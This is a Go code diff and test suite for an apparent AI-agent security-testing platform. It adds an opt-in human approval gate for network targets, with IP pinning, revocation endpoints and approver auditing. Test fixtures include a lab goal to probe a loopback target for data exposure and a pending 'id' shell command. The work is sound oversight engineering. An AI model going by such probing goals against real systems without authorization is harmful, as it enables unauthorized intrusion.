 
 	// pendingTriggers accumulates the concrete changes (worker done / finding) that
 	// fired planning rounds since the last one consumed them. The debounce coalesces
@@ -396,6 +402,8 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
 		log.Printf("[llmusage] create table: %v", err)
 	}
 	m := &Manager{dir: dir, pg: pg, assets: pg.Assets(), tasks: map[string]*Task{}, interceptor: intercept.New(pg)}
+	// Behind the global egress proxy a target approval is name-only.
+	m.interceptor.SetUpstreamProxyCheck(func() bool { return m.GlobalProxy() != "" })
 	if proxyAddr != "" {
 		tr, err := traffic.Open(filepath.Join(dir, "traffic"), proxyAddr)
 		if err != nil {
@@ -851,7 +859,7 @@ func unixNanoOrZero(t *time.Time) int64 {
 }
 
 func taskFromPG(pt *pgdb.Task, store *pgdb.ExplorationStore, ic *intercept.Interceptor) *Task {
-	return &Task{
+	t := &Task{
 		ID: strconv.FormatInt(pt.ID, 10), ExpID: pt.ExplorationID,
 		Name:       pt.Name,
 		CategoryID: cloneInt64Ptr(pt.CategoryID), CategoryName: pt.CategoryName,
@@ -869,8 +877,19 @@ func taskFromPG(pt *pgdb.Task, store *pgdb.ExplorationStore, ic *intercept.Inter
 		PlanQuietMode:   pt.PlanQuietMode,
 		CoverageEnabled: pt.CoverageEnabled,
 		FirstRunAt:      unixOrZero(pt.FirstRunAt), DeadlineAt: unixOrZero(pt.DeadlineAt),
-		Store: store, Guard: guard.NewWithInterceptor(ic), notify: make(chan struct{}, 1),
+		Store: store, Guard: guard.NewWithInterceptor(ic), TargetGuard: guard.NewTargetOnly(ic), notify: make(chan struct{}, 1),
+		interceptor: ic,
 	}
+	t.targetGate.Store(pt.TargetGate)
+	return t
+}
+
+// targetScope is the approval scope of this task's tool calls for the target
+// gate. wait bounds how long a gated call may wait for a human decision.
+// Enabled reads the task's opt-in flag on every call, so a switch through the
+// API takes effect on the next tool call.
+func (t *Task) targetScope(wait time.Duration) intercept.TargetScope {
+	return intercept.TargetScope{TaskID: t.ID, Enabled: t.targetGate.Load, WaitBound: wait, Interceptor: t.interceptor}
 }
 
 // UpdateTaskMetadata changes list-only task metadata without interrupting any
@@ -899,6 +918,7 @@ func (m *Manager) UpdateTaskMetadata(taskID string, patch pgdb.TaskPatch) (*Task
 	// Live switch (#86): runRound reads the flag per round, so the next
 	// planning round (edge or heartbeat) already respects the new value.
 	task.PlanQuietMode = updated.PlanQuietMode
+	task.targetGate.Store(updated.TargetGate)
 	return task, nil
 }
 

server/planner_quiet_test.go

@@ -10,6 +10,7 @@ import (
 // open-goal fingerprint is unchanged since the last completed round AND active
 // work exists (open or running intents). Every other combination plans.
 func TestPlannerQuietSkipEdge(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)
@@ -78,6 +79,7 @@ func TestPlannerQuietSkipEdge(t *testing.T) {
 // The quiet-mode switch is editable mid-run (#86): PATCHing plan_quiet_mode
 // updates both the stored row and the live Task the engine reads per round.
 func TestPlannerQuietModeToggleMidRun(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)

server/server.go

@@ -715,6 +715,8 @@ func (s *Server) Handler() http.Handler {
 	mux.HandleFunc("PUT /api/tasks/{id}/intercept-rules/{rid}", s.taskInterceptUpdateRule)
 	mux.HandleFunc("DELETE /api/tasks/{id}/intercept-rules/{rid}", s.taskInterceptDeleteRule)
 	mux.HandleFunc("POST /api/tasks/{id}/intercept-rules/{rid}/toggle", s.taskInterceptToggleRule)
+	mux.HandleFunc("GET /api/tasks/{id}/target-pins", s.taskListTargetPins)
+	mux.HandleFunc("POST /api/tasks/{id}/target-pins/{pid}/revoke", s.taskRevokeTargetPin)
 	mux.HandleFunc("POST /api/tasks/control/batch", s.controlTasksBatch)
 	mux.HandleFunc("GET /api/task-archives", s.listTaskArchives)
 	mux.HandleFunc("GET /api/task-archives/{id}", s.getTaskArchive)
@@ -860,6 +862,8 @@ func (s *Server) Handler() http.Handler {
 	mux.HandleFunc("POST /api/conversations/{id}/messages", s.pgSendConversationMessage)
 	mux.HandleFunc("POST /api/conversations/{id}/stop", s.pgStopConversation)
 	mux.HandleFunc("GET /api/conversations/{id}/messages/{seq}", s.pgConversationMsgDetail)
+	mux.HandleFunc("GET /api/conversations/{id}/target-pins", s.convListTargetPins)
+	mux.HandleFunc("POST /api/conversations/{id}/target-pins/{pid}/revoke", s.convRevokeTargetPin)
 
 	mux.HandleFunc("GET /api/agents", s.pgListAgents)
 	mux.HandleFunc("POST /api/agents", s.pgCreateAgent)
@@ -1584,6 +1588,7 @@ type createTaskReq struct {
 	LLMRotate            *bool    `json:"llm_rotate"`             // task-level timeout (seconds); 0/omitted = no limit
 	PlanHeartbeatSeconds int      `json:"plan_heartbeat_seconds"`      // planner heartbeat interval (seconds); 0/omitted = default 600 (10min); floor = default = 600, lower values are raised to 600
 	PlanQuietMode        *bool    `json:"plan_quiet_mode,omitempty"`   // planner quiet-mode switch (#86); omitted = default on; false = edge rounds always plan
+	TargetGate           *bool    `json:"target_gate,omitempty"`       // approval gate for asset targets, opt-in; omitted/null = off
 	SeedFirstIntent      *bool    `json:"seed_first_intent,omitempty"` // issue one seed intent at creation (content = description + goal) so a worker can start right away without waiting for the first planner round; omitted/null = default off, the standard plan-then-execute flow. Pass true explicitly to enable (for CTF tasks often solved in one work, this skips the pre-start planner round).
 	CoverageEnabled      *bool    `json:"coverage_enabled,omitempty"`  // asset coverage feature; omitted/null = default on (true). false = disables coverage calculation/display/auto-accumulated scope + hides add_task_scope/list_untested_assets. company links are unaffected.
 	// InterceptRules: task-level asset interception/allow rules (entered at creation, stored in task_intercept_rules, never the global table).
@@ -1660,6 +1665,7 @@ func (s *Server) createTask(w http.ResponseWriter, r *http.Request) {
 		CoverageEnabled: req.CoverageEnabled,
 		InterceptRules:  interceptRules,
 		LLMRotate:       req.LLMRotate,
+		TargetGate:      req.TargetGate,
 	})
 	if err != nil {
 		if errors.Is(err, db.ErrTaskCategoryInvalid) || errors.Is(err, db.ErrTaskCategoryNotFound) {
@@ -3940,8 +3946,14 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) {
 			// taskDir = the agent's working directory (CWD), consistent with chatUpload's target dir and ensureRunDir.
 			taskDir := filepath.Join(s.m.dir, "tasks", t.ID)
 			agentMsg := composeAgentMessage(agentMessage, req.Attachments, taskDir)
+			// Tag the turn for the target gate: the task, the "mainagent" lane and the approval scope.
+			gctx := intercept.WithTaskContext(ctx, t.ID, "mainagent", func(a db.Activity) {
+				a.Worker = "mainagent"
+				emit(a)
+			})
+			gctx = intercept.WithTargetScope(gctx, t.targetScope(intercept.DefaultTargetWaitBound))
 			s.engine.BeginLLMCall(t.ID)
-			_, err := ma.Chat(ctx, maTaskID, mainSeg, s.m.Assets(), t.Store, t.Goal, agentMsg, emit, t.Notify, resume, t.NotifyGoal, t.NotifyHint)
+			_, err := ma.Chat(gctx, maTaskID, mainSeg, s.m.Assets(), t.Store, t.Goal, agentMsg, t.TargetGuard.Hooks(), emit, t.Notify, resume, t.NotifyGoal, t.NotifyHint)
 			s.engine.EndLLMCall(t.ID)
 			if err != nil && ctx.Err() == nil {
 				s.engine.emitActivity(t, db.Activity{Worker: "mainagent", Kind: "text", IsError: true, Summary: "(main agent error: " + err.Error() + ")", MainSeg: segPtr})

server/target_gate_flag_test.go

@@ -0,0 +1,553 @@
+package server
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http/httptest"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/Autumn-27/artex/agent"
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/intercept"
+)
+
+// Target-gate opt-in flag, pins and decisions over the real mux and the real
+// auth. The server context is already cancelled, so a task created through
+// these tests never starts an engine.
+
+type gateServer struct {
+	s     *Server
+	m     *Manager
+	token string
+}
+
+func newGateServer(t *testing.T) *gateServer {
+	t.Helper()
+	skipWithoutDSN(t)
+	m, err := NewManager(t.TempDir(), "")
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = m.Close() })
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+	s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
+	token, err := signJWT(s.jwtKey)
+	if err != nil {
+		t.Fatal(err)
+	}
+	return &gateServer{s: s, m: m, token: token}
+}
+
+// do sends an authenticated request. httptest sets the peer to 192.0.2.1.
+func (g *gateServer) do(t *testing.T, method, path, body string) (int, map[string]any) {
+	t.Helper()
+	req := httptest.NewRequest(method, path, strings.NewReader(body))
+	req.Header.Set("Authorization", "Bearer "+g.token)
+	rec := httptest.NewRecorder()
+	g.s.Handler().ServeHTTP(rec, req)
+	var out map[string]any
+	_ = json.Unmarshal(rec.Body.Bytes(), &out)
+	return rec.Code, out
+}
+
+// newTask creates a task through the manager and removes it, its pins and its
+// approval rows when the test ends.
+func (g *gateServer) newTask(t *testing.T, opts db.TaskCreateOptions) *Task {
+	t.Helper()
+	created, err := g.m.CreateTaskWithOptions("target gate flag", "flag, pins and decisions", opts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	g.cleanupTask(t, created.ID)
+	task, ok := g.m.Task(created.ID)
+	if !ok {
+		t.Fatal("task not found after creation")
+	}
+	return task
+}
+
+func (g *gateServer) cleanupTask(t *testing.T, id string) {
+	t.Helper()
+	t.Cleanup(func() {
+		n, _ := strconv.ParseInt(id, 10, 64)
+		_ = g.m.pg.DeleteTask(n)
+		_, _ = g.m.pg.Exec(`DELETE FROM target_pins WHERE task_id=$1`, n)
+		_, _ = g.m.pg.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, id)
+	})
+}
+
+func taskRef(t *testing.T, task *Task) db.TargetScopeRef {
+	t.Helper()
+	id, err := strconv.ParseInt(task.ID, 10, 64)
+	if err != nil {
+		t.Fatal(err)
+	}
+	return db.TargetScopeRef{TaskID: id}
+}
+
+// openTargetRow opens a target approval request showing ips.
+func openTargetRow(t *testing.T, pg *db.DB, scope db.TargetScopeRef, host string, ips ...string) int64 {
+	t.Helper()
+	id, created, err := pg.FindOrCreateTargetRequest(db.TargetRequest{
+		Scope: scope, Host: host, Port: 443, AgentName: "worker", ToolName: "WebFetch", Reason: "target " + host + " is not approved",
+		Audit: &db.InterceptAudit{Correlation: "unavailable", InitialAction: "ask", ExecutionStatus: "not_started",
+			Targets: []db.InterceptTarget{{Host: host, Port: 443, ResolvedIPs: ips, Resolver: "system", ResolvedAt: time.Now().UTC(), Outcome: "requested"}}},
+	})
+	if err != nil || !created {
+		t.Fatalf("open target request: id=%d created=%v err=%v", id, created, err)
+	}
+	return id
+}
+
+// The flag is read on every tool call: a switch through the API is seen by a
+// scope that was handed out before it.
+func TestTargetGateLiveSwitch(t *testing.T) {
+	g := newGateServer(t)
+	task := g.newTask(t, db.TaskCreateOptions{})
+	scope := task.targetScope(intercept.DefaultTargetWaitBound)
+	if scope.Enabled == nil || scope.Enabled() {
+		t.Fatal("a new task must have the gate off")
+	}
+	if scope.Interceptor != g.m.interceptor {
+		t.Fatal("the task scope does not carry the manager's interceptor")
+	}
+	if code, body := g.do(t, "GET", "/api/tasks/"+task.ID, ""); code != 200 || body["target_gate"] != false {
+		t.Fatalf("task detail: %d %v, want target_gate false", code, body)
+	}
+
+	code, body := g.do(t, "PATCH", "/api/tasks/"+task.ID, `{"target_gate":true}`)
+	if code != 200 || body["target_gate"] != true {
+		t.Fatalf("switch on: %d %v", code, body)
+	}
+	if !scope.Enabled() {
+		t.Fatal("the scope handed out before the switch still reports the gate off")
+	}
+	id, _ := strconv.ParseInt(task.ID, 10, 64)
+	if stored, err := g.m.pg.GetTask(id); err != nil || stored == nil || !stored.TargetGate {
+		t.Fatalf("stored task = %+v, %v; want the gate on", stored, err)
+	}
+	// Another metadata patch leaves the flag alone.
+	if code, body := g.do(t, "PATCH", "/api/tasks/"+task.ID, `{"name":"renamed"}`); code != 200 || body["target_gate"] != true || !scope.Enabled() {
+		t.Fatalf("rename: %d %v, want the gate still on", code, body)
+	}
+	if code, body := g.do(t, "PATCH", "/api/tasks/"+task.ID, `{"target_gate":false}`); code != 200 || body["target_gate"] != false || scope.Enabled() {
+		t.Fatalf("switch off: %d %v enabled=%v", code, body, scope.Enabled())
+	}
+	if code, body := g.do(t, "PATCH", "/api/tasks/"+task.ID, `{}`); code != 400 || !strings.Contains(fmt.Sprint(body["error"]), "target_gate") {
+		t.Fatalf("empty patch: %d %v, want 400 naming target_gate", code, body)
+	}
+}
+
+const gateTestGoal = "Probe the lab target at http://127.0.0.1:9/v1 for unauthenticated data exposure; record one record as evidence and stop."
+
+// The flag is set on the existing create path. Omitted means off, and a task
+// loaded from the database keeps what was stored.
+func TestCreateTaskAcceptsTargetGate(t *testing.T) {
+	g := newGateServer(t)
+	for _, tc := range []struct {
+		field string
+		want  bool
+	}{
+		{`,"target_gate":true`, true},
+		{`,"target_gate":false`, false},
+		{``, false},
+	} {
+		code, body := g.do(t, "POST", "/api/tasks", `{"description":"gate create","goal":"`+gateTestGoal+`"`+tc.field+`}`)
+		id, _ := body["id"].(string)
+		if code != 201 || id == "" {
+			t.Fatalf("create %q: %d %v", tc.field, code, body)
+		}
+		g.cleanupTask(t, id)
+		task, ok := g.m.Task(id)
+		if !ok || body["target_gate"] != tc.want || task.targetScope(0).Enabled() != tc.want {
+			t.Fatalf("create %q: target_gate=%v, want %v", tc.field, body["target_gate"], tc.want)
+		}
+		n, _ := strconv.ParseInt(id, 10, 64)
+		stored, err := g.m.pg.GetTask(n)
+		if err != nil || stored == nil || stored.TargetGate != tc.want {
+			t.Fatalf("create %q: stored %+v, %v; want %v", tc.field, stored, err, tc.want)
+		}
+		if loaded := taskFromPG(stored, g.m.pg.Exploration(stored.ExplorationID), g.m.interceptor); loaded.targetScope(0).Enabled() != tc.want {
+			t.Fatalf("create %q: a task loaded from the database has the gate %v", tc.field, !tc.want)
+		}
+	}
+}
+
+// No inheritance: a task spawned by the orchestration agent starts with the
+// gate off, even from a gated parent.
+func TestSpawnedTaskStartsWithGateOff(t *testing.T) {
+	g := newGateServer(t)
+	on := true
+	parent := g.newTask(t, db.TaskCreateOptions{TargetGate: &on})
+	if !parent.targetScope(0).Enabled() {
+		t.Fatal("control: the parent was expected to have the gate on")
+	}
+	in, _ := json.Marshal(map[string]any{"description": "spawned child", "goal": gateTestGoal, "parent_ref": parent.ID, "source_task_ids": []string{parent.ID}})
+	res, err := g.s.toolSpawnTask().Call(context.Background(), in, nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	childID, found := strings.CutPrefix(res.Flatten(), "task created: ")
+	if !found {
+		t.Fatalf("spawn_task result: %q", res.Flatten())
+	}
+	g.cleanupTask(t, childID)
+	child, ok := g.m.Task(childID)
+	if !ok || child.ParentRef != parent.ID {
+		t.Fatalf("spawned task = %+v (found=%v), want a child of %s", child, ok, parent.ID)
+	}
+	if child.targetScope(0).Enabled() {
+		t.Fatal("the spawned task inherited the gate")
+	}
+	n, _ := strconv.ParseInt(childID, 10, 64)
+	if stored, err := g.m.pg.GetTask(n); err != nil || stored == nil || stored.TargetGate {
+		t.Fatalf("stored child = %+v, %v; want the gate off", stored, err)
+	}
+	if pins, err := g.m.pg.ListTargetPins(db.TargetScopeRef{TaskID: n}); err != nil || len(pins) != 0 {
+		t.Fatalf("the spawned task has pins: %+v, %v", pins, err)
+	}
+}
+
+// The conversation flag is set on create and on patch, and the turn that starts
+// after a switch runs with the new value.
+func TestConversationTargetGateOverHTTP(t *testing.T) {
+	g := newGateServer(t)
+	turnScope := func(id int64) intercept.TargetScope {
+		t.Helper()
+		conv, err := g.m.pg.GetConversation(id)
+		if err != nil || conv == nil {
+			t.Fatalf("conversation %d: %+v, %v", id, conv, err)
+		}
+		probe := newScopeProbeProvider()
+		g.s.cfgMu.Lock()
+		g.s.chatAgent = agent.NewChatAgent(probe, "test-model", g.m.dir, nil, 10000)
+		g.s.cfgMu.Unlock()
+		// The server context of this fixture is cancelled; the turn gets its own.
+		ctx, cancel := context.WithCancelCause(intercept.WithConvID(context.Background(), id))
+		g.s.runConversationTurn(ctx, cancel, conv, "hello", g.s.convBusyKey(id))
+		got := probe.first(t)
+		if !got.ok || got.scope.ConversationID != id || got.scope.Enabled == nil {
+			t.Fatalf("turn scope = %+v (present=%v)", got.scope, got.ok)
+		}
+		return got.scope
+	}
+	create := func(body string) int64 {
+		t.Helper()
+		code, out := g.do(t, "POST", "/api/conversations", body)
+		id, _ := out["id"].(float64)
+		if code != 200 || id == 0 {
+			t.Fatalf("create conversation: %d %v", code, out)
+		}
+		t.Cleanup(func() { _ = g.m.pg.DeleteConversation(int64(id)) })
+		return int64(id)
+	}
+
+	plain := create(`{"agent_key":"auto","title":"gate off"}`)
+	if scope := turnScope(plain); scope.Enabled() {
+		t.Fatal("a conversation created without the flag runs with the gate on")
+	}
+	gated := create(`{"agent_key":"auto","title":"gate on","target_gate":true}`)
+	scope := turnScope(gated)
+	if !scope.Enabled() || scope.Interceptor != g.m.interceptor {
+		t.Fatalf("gated conversation: enabled=%v, want the gate on and the manager's interceptor", scope.Enabled())
+	}
+	path := "/api/conversations/" + strconv.FormatInt(gated, 10)
+	if code, out := g.do(t, "PATCH", path, `{"target_gate":false}`); code != 200 || out["target_gate"] != false {
+		t.Fatalf("switch off: %d %v", code, out)
+	}
+	if turnScope(gated).Enabled() {
+		t.Fatal("the turn after the switch still runs with the gate on")
+	}
+	if code, out := g.do(t, "PATCH", path, `{"title":"renamed","target_gate":true}`); code != 200 || out["target_gate"] != true || out["title"] != "renamed" {
+		t.Fatalf("switch on with a rename: %d %v", code, out)
+	}
+	if code, out := g.do(t, "PATCH", path, `{}`); code != 400 || !strings.Contains(fmt.Sprint(out["error"]), "target_gate") {
+		t.Fatalf("empty patch: %d %v, want 400 naming target_gate", code, out)
+	}
+}
+
+// The decide endpoint keeps its request and response shape. On a target row
+// "allowed" pins the displayed addresses. Every human decision, on a target row
+// or on a classic ask, records the subject of the session token and the remote
+// address; decided_by stays the actor class.
+func TestInterceptDecideRecordsApproverOverHTTP(t *testing.T) {
+	g := newGateServer(t)
+	task := g.newTask(t, db.TaskCreateOptions{})
+	scope := taskRef(t, task)
+	pg := g.m.pg
+	decide := func(id int64, decision string) int {
+		t.Helper()
+		code, _ := g.do(t, "POST", fmt.Sprintf("/api/intercept/pending/%d/decide", id), `{"decision":"`+decision+`"}`)
+		return code
+	}
+
+	target := openTargetRow(t, pg, scope, "app.example.com", "203.0.113.7")
+	if code := decide(target, "allowed"); code != 200 {
+		t.Fatalf("decide target row: %d", code)
+	}
+	pins, err := pg.ListTargetPins(scope)
+	if err != nil || len(pins) != 1 || pins[0].DecidedBy != "ARTEX" || pins[0].DecidedFrom != "192.0.2.1" ||
+		!slices.Equal(pins[0].PinnedIPs, []string{"203.0.113.7"}) || pins[0].InterceptID == nil || *pins[0].InterceptID != target {
+		t.Fatalf("pins = %+v, %v; want one pin with the approver and the address", pins, err)
+	}
+	row, err := pg.GetInterceptDetail(target)
+	if err != nil || row == nil || row.Status != "allowed" || row.DecidedBy != "human" || row.Audit.Approver != "ARTEX" || row.Audit.ApproverAddr != "192.0.2.1" {
+		t.Fatalf("target row = %+v, %v", row, err)
+	}
+	if code := decide(target, "denied"); code != 409 {
+		t.Fatalf("second decision: %d, want 409", code)
+	}
+
+	denied := openTargetRow(t, pg, scope, "other.example.com", "203.0.113.8")
+	if code := decide(denied, "denied"); code != 200 {
+		t.Fatalf("deny target row: %d", code)
+	}
+	if pins, err := pg.ListTargetPins(scope); err != nil || len(pins) != 1 {
+		t.Fatalf("pins after a denial = %+v, %v; want still one", pins, err)
+	}
+
+	classic, err := pg.CreateInterceptPending(0, 0, task.ID, "worker", "Bash", []byte(`{"command":"id"}`), "classic ask",
+		&db.InterceptAudit{Correlation: "exact", InitialAction: "ask", ExecutionStatus: "not_started"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if code := decide(classic, "allowed"); code != 200 {
+		t.Fatalf("decide classic ask: %d", code)
+	}
+	row, err = pg.GetInterceptDetail(classic)
+	if err != nil || row == nil || row.Status != "allowed" || row.DecidedBy != "human" || row.Audit == nil ||
+		row.Audit.Approver != "ARTEX" || row.Audit.ApproverAddr != "192.0.2.1" || row.Audit.EffectiveAction != "allow" {
+		t.Fatalf("classic row = %+v, %v; want the approver and the address in its audit", row, err)
+	}
+	if pins, err := pg.ListTargetPins(scope); err != nil || len(pins) != 1 {
+		t.Fatalf("pins after a classic approval = %+v, %v; want still one", pins, err)
+	}
+
+	// Target rows are listed under their own decision source.
+	code, list := g.do(t, "GET", "/api/intercept/task/"+task.ID+"?decision_source=target&page=1&size=50", "")
+	if items, _ := list["items"].([]any); code != 200 || len(items) != 2 {
+		t.Fatalf("decision_source=target: %d %v, want the two target rows", code, list)
+	}
+	if code, _ := g.do(t, "GET", "/api/intercept/history?decision_source=nonsense&page=1", ""); code != 400 {
+		t.Fatalf("unknown decision_source: %d, want 400", code)
+	}
+}
+
+func TestJWTSubject(t *testing.T) {
+	key := []byte("0123456789abcdef0123456789abcdef")
+	token, err := signJWT(key)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := jwtSubject(token, key); got != "ARTEX" {
+		t.Fatalf("subject = %q, want ARTEX", got)
+	}
+	if got := jwtSubject(token, []byte("another key, another key, another")); got != "" {
+		t.Fatalf("subject of a token signed with another key = %q, want none", got)
+	}
+	if got := jwtSubject("", key); got != "" {
+		t.Fatalf("subject of no token = %q", got)
+	}
+}
+
+// Pin routes: list and revoke, scoped to one existing task or conversation.
+func TestTargetPinRoutes(t *testing.T) {
+	g := newGateServer(t)
+	pg := g.m.pg
+	task, other := g.newTask(t, db.TaskCreateOptions{}), g.newTask(t, db.TaskCreateOptions{})
+	conv, err := pg.CreateConversation("auto", "pin routes", nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_ = pg.DeleteConversation(conv.ID)
+		_, _ = pg.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, conv.ID)
+	})
+	pin := func(scope db.TargetScopeRef, host string) int64 {
+		t.Helper()
+		p, ok, err := pg.ResolveTargetRequest(openTargetRow(t, pg, scope, host, "203.0.113.7"), true, "ARTEX", "192.0.2.1")
+		if err != nil || !ok || p == nil {
+			t.Fatalf("pin %s: %+v ok=%v err=%v", host, p, ok, err)
+		}
+		return p.ID
+	}
+	taskPin := pin(taskRef(t, task), "app.example.com")
+	otherPin := pin(taskRef(t, other), "app.example.com")
+	convPin := pin(db.TargetScopeRef{ConversationID: conv.ID}, "chat.example.com")
+
+	listed := func(path string) []any {
+		t.Helper()
+		code, body := g.do(t, "GET", path, "")
+		pins, ok := body["pins"].([]any)
+		if code != 200 || !ok {
+			t.Fatalf("GET %s: %d %v", path, code, body)
+		}
+		return pins
+	}
+	for _, tc := range []struct {
+		base string
+		id   int64
+		host string
+	}{
+		{"/api/tasks/" + task.ID, taskPin, "app.example.com"},
+		{"/api/conversations/" + strconv.FormatInt(conv.ID, 10), convPin, "chat.example.com"},
+	} {
+		pins := listed(tc.base + "/target-pins")
+		if len(pins) != 1 {
+			t.Fatalf("%s: %d pins, want 1", tc.base, len(pins))
+		}
+		got := pins[0].(map[string]any)
+		if got["id"] != float64(tc.id) || got["host"] != tc.host || got["status"] != "active" || got["decided_by"] != "ARTEX" || got["name_only_effective"] != false {
+			t.Fatalf("%s: listed pin = %v", tc.base, got)
+		}
+		revoke := fmt.Sprintf("%s/target-pins/%d/revoke", tc.base, tc.id)
+		code, body := g.do(t, "POST", revoke, "")
+		if code != 200 || body["status"] != "revoked" || body["revoked_reason"] != "operator" {
+			t.Fatalf("POST %s: %d %v", revoke, code, body)
+		}
+		at := body["revoked_at"]
+		// Revoking again changes nothing.
+		if code, body := g.do(t, "POST", revoke, ""); code != 200 || body["status"] != "revoked" || body["revoked_at"] != at {
+			t.Fatalf("second POST %s: %d %v", revoke, code, body)
+		}
+		if pins := listed(tc.base + "/target-pins"); len(pins) != 1 || pins[0].(map[string]any)["status"] != "revoked" {
+			t.Fatalf("%s after the revoke: %v, want the pin kept as revoked", tc.base, pins)
+		}
+		// A pin of another scope is not reachable through this one.
+		if code, _ := g.do(t, "POST", fmt.Sprintf("%s/target-pins/%d/revoke", tc.base, otherPin), ""); code != 404 {
+			t.Fatalf("revoke of a foreign pin through %s: %d, want 404", tc.base, code)
+		}
+	}
+	if active, err := pg.ActiveTargetPins(taskRef(t, other), "app.example.com", 443); err != nil || len(active) != 1 {
+		t.Fatalf("the pin of the other task = %+v, %v; want still active", active, err)
+	}
+	for _, path := range []string{"/api/tasks/999999999/target-pins", "/api/conversations/999999999/target-pins"} {
+		if code, _ := g.do(t, "GET", path, ""); code != 404 {
+			t.Fatalf("GET %s: %d, want 404", path, code)
+		}
+	}
+	if code, _ := g.do(t, "POST", "/api/tasks/"+task.ID+"/target-pins/notanumber/revoke", ""); code != 400 {
+		t.Fatalf("revoke with a bad pin id: %d, want 400", code)
+	}
+}
+
+// A worker that loses its claim while it waits in the gate stops waiting, and
+// the request stays open: it is host-level, not owned by the call. The worker
+// that took the intent over attaches to the same request.
+func TestClaimLostEndsGateWait(t *testing.T) {
+	g := newGateServer(t)
+	task := g.newTask(t, db.TaskCreateOptions{})
+	pg, ic := g.m.pg, g.m.interceptor
+	store := task.Store
+	intent, err := store.AddIntent(map[string]any{"summary": "leased"}, 1, nil, "planner")
+	if err != nil {
+		t.Fatal(err)
+	}
+	token, err := store.ClaimIntentToken(intent, "work#1")
+	if err != nil || token == "" {
+		t.Fatalf("claim: token=%q err=%v", token, err)
+	}
+	ctx, cancel := context.WithCancelCause(intercept.WithTaskContext(context.Background(), task.ID, "work#1", nil))
+	defer cancel(nil)
+	stop := startClaimHeartbeat(store, 20*time.Millisecond, "work#1", intent, token, cancel)
+	defer stop()
+
+	scope := task.targetScope(time.Minute)
+	targets := []intercept.TargetRequest{{Host: "app.example.com", Port: 443, ResolvedIPs: []string{"203.0.113.7"}, Resolver: "system", ResolvedAt: time.Now().UTC(), Reason: "no_pin"}}
+	input := []byte(`{"url":"https://app.example.com/"}`)
+	stale := make(chan intercept.TargetResult, 1)
+	go func() { stale <- ic.RequestTargets(ctx, scope, "WebFetch", input, targets, nil) }()
+	openRows := func() []int64 {
+		t.Helper()
+		rows, err := pg.Query(`SELECT id FROM intercept_pending WHERE task_id=$1 AND status='pending' AND target_key IS NOT NULL ORDER BY id`, task.ID)
+		if err != nil {
+			t.Fatal(err)
+		}
+		defer rows.Close()
+		var ids []int64
+		for rows.Next() {
+			var id int64
+			if err := rows.Scan(&id); err != nil {
+				t.Fatal(err)
+			}
+			ids = append(ids, id)
+		}
+		return ids
+	}
+	waitUntil(t, "the gate request", func() bool { return len(openRows()) == 1 })
+	request := openRows()[0]
+	select {
+	case res := <-stale:
+		t.Fatalf("the call returned %+v while its claim was live", res)
+	case <-time.After(200 * time.Millisecond):
+	}
+
+	// Takeover, as in TestClaimHeartbeatRenewsThenCancelsOnTakeover.
+	var reclaimed int64
+	for attempt := 0; attempt < 200 && reclaimed == 0; attempt++ {
+		if _, err := pg.Exec(`UPDATE exploration_nodes SET last_heartbeat_at = now() - $2 * INTERVAL '1 second' WHERE id=$1`,
+			intent, (db.IntentClaimTTL + time.Second).Seconds()); err != nil {
+			t.Fatal(err)
+		}
+		if reclaimed, err = store.ResetRunningIntents(); err != nil {
+			t.Fatal(err)
+		}
+	}
+	if reclaimed != 1 {
+		t.Fatalf("could not take the claim over: reclaimed=%d", reclaimed)
+	}
+	if other, err := store.ClaimIntentToken(intent, "work#2"); err != nil || other == "" {
+		t.Fatalf("re-claim: token=%q err=%v", other, err)
+	}
+
+	var res intercept.TargetResult
+	select {
+	case res = <-stale:
+	case <-time.After(10 * time.Second):
+		t.Fatal("the gate wait did not end after the claim was lost")
+	}
+	if cause := context.Cause(ctx); !errors.Is(cause, agent.AbortWorkClaimLost) {
+		t.Fatalf("cancel cause=%v, want AbortWorkClaimLost", cause)
+	}
+	if res.Code != intercept.TargetApprovalPending || res.PendingID != request {
+		t.Fatalf("stale call: %+v, want %s on request %d", res, intercept.TargetApprovalPending, request)
+	}
+	if row, err := pg.GetInterceptPending(request); err != nil || row == nil || row.Status != "pending" || row.DecidedBy != "" {
+		t.Fatalf("request after the claim was lost = %+v, %v; want still open", row, err)
+	}
+
+	// The second claimer re-runs the intent, hits the same host and attaches.
+	next := make(chan intercept.TargetResult, 1)
+	go func() {
+		next <- ic.RequestTargets(intercept.WithTaskContext(context.Background(), task.ID, "work#2", nil), scope, "WebFetch", input, targets, nil)
+	}()
+	select {
+	case res := <-next:
+		t.Fatalf("the second claimer returned %+v before a decision", res)
+	case <-time.After(200 * time.Millisecond):
+	}
+	if ids := openRows(); !slices.Equal(ids, []int64{request}) {
+		t.Fatalf("open requests = %v, want the second claimer on the same request %d", ids, request)
+	}
+	if err := ic.Decide(request, true, "ARTEX", "192.0.2.1"); err != nil {
+		t.Fatal(err)
+	}
+	select {
+	case res := <-next:
+		if res.Code != "" {
+			t.Fatalf("second claimer after the approval: %+v", res)
+		}
+	case <-time.After(10 * time.Second):
+		t.Fatal("the second claimer is still waiting after the approval")
+	}
+	if pins, err := pg.ListTargetPins(taskRef(t, task)); err != nil || len(pins) != 1 {
+		t.Fatalf("pins = %+v, %v; want one", pins, err)
+	}
+}

server/target_gate_scope_test.go

@@ -0,0 +1,446 @@
+package server
+
+import (
+	"context"
+	"iter"
+	"net/http/httptest"
+	"strings"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/Autumn-27/artex/agent"
